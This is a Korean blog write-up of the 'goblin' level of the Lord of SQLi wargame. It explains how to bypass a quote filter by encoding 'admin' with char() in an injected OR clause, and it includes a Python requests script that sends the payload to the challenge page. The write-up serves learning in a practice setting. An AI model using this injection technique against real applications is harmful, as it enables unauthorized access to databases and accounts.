LOS-write up

LOS 3(goblin)

우제혁 2021. 1. 3. 03:02

문제

문제 분석

no에 "prob" , "_" , ".","'",""",  를 피해 id에 값이 들어있으면 Hello {id} 값이 출력되고 이 id값에 admin 값이 들어가면 문제가 풀린다.

 

이때 '(싱글쿼터)와 "(더블쿼터)가 필터링 되어있어 'admin' or "admin"을 못쓰게 되는데 이를 우회하는게 핵심이다.  

 

문제 풀이

no는 int로 추측하여 아무 숫자를 넣어주고 or를 입력해서 뒤에 쿼리를 원하는 쿼리(id='admin')으로 조작한다

where id='guest' and no= 2 or 원하는쿼리
=>  or로 주황색 조건을 전부 false로 만들어 뒤의 원하는 조건을 입력하면 된다 

 

이때 id='admin'을 id=char(97,100,109,105,110)로 대신해줘서 싱글쿼터와 더블쿼터를 안쓰고도 string으로 만들수 있다.

no=1을 넣어주면 hello guest가 되는데 이는 guest의 no가 1이여서 생기는 문제로 보인다.

 

 

문제 정답

URL?pw=2 or id=char(97,100,109,105,110) #

url을 조작할시 # %23으로 입력해줘야한다.

 

 

문제 풀이 코드

import requests

url = 'https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php'
session = {'PHPSESSID' : 'p2huvnk8ab645nt9kdjit5js0k'}  #로그인 쿠키

data={}

data['no']="2 or id=char(97,100,109,105,110) #" # no 1은 guest의 no임으로 안되는것같다.
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

코드 결과